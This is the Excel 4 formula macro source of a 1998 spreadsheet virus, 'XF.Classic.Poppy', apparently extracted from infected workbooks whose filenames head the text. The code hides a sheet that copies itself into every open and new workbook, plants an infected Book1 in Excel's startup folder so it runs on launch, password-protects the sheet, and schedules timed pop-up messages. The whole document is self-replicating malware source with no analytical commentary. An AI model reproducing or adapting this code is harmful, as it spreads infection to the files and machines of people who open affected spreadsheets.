Qtoan CT nam 2006.xls
CTHINH2007-SS.XLS
C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1.
3
Classic.Poppy by VicodinES
With Lord Natas
An Excel Formula Macro Virus (XF.Classic)
Hydrocodone/APAP 10-650 For Your Computer
(C) The Narkotic Network 1998
**Simple Payload**
=ALERT("XF.Classic.Poppy by VicodinES", 2)
=ALERT("ⓒ 1998 The Narkotic Network", 2)
=RETURN()
**Add New Workbook, Infect It, Save It As Book1.xls**
=IF(FILES(A3)="Book1.",0,99)
=ERROR(TRUE,MakeIt)
=IF(A21=0)
=RETURN()
=END.IF()
=NEW(1)
=WORKBOOK.INSERT(1)
=WORKBOOK.INSERT(1)
=ACTIVATE.PREV()
=RUN(C18)
=WORKBOOK.COPY("XL4Poppy",A1)
=WORKBOOK.NAME("Sheet3","Sheet99")
=WORKBOOK.NAME("Sheet1","Sheet3")
=WORKBOOK.NAME("Sheet99","Sheet1")
=PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)
=WORKBOOK.PREV()
=WORKBOOK.PREV()
=WORKBOOK.PREV()
=SAVE.AS(A3)
=FILE.CLOSE()
=RETURN()
=WORKBOOK.HIDE("XL4Poppy")
**Auto and On Sheet Starts Here**
=RUN(C18)
=ERROR(TRUE, Continue)
=IF(A4=3)
=RETURN()
=END.IF()
=ERROR(FALSE)
=RUN(A21)
=ON.TIME("6:30:00 PM", "Hello")
=ON.TIME("6:30:00 AM", "Morning")
=ON.SHEET(,"Poppy",TRUE)
=RETURN()
**Set Our Values and Paths**
=SET.VALUE($A$3,(GET.WORKSPACE(32) & "\xlstart\Book1."))
=SET.NAME("Document_array", DOCUMENTS())
=SET.VALUE($A$1, INDEX(Document_array,2))
=SET.VALUE($A$2, INDEX(Document_array,1))
=SET.VALUE($A$4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))
=RETURN()
**Infect Workbook**
=RUN(C19)
=ERROR(TRUE,Bust)
=IF(A4=3)
=RETURN()
=ERROR(FALSE)
=ACTIVATE.PREV()
=RUN(C19)
=WORKBOOK.COPY("XL4Poppy",A1)
=END.IF()
=RETURN()
=APP.TITLE("XF.Classic.Poppy")
=MESSAGE(TRUE, "VicodinES and Lord Natas greet you a good morning!")
=RETURN()
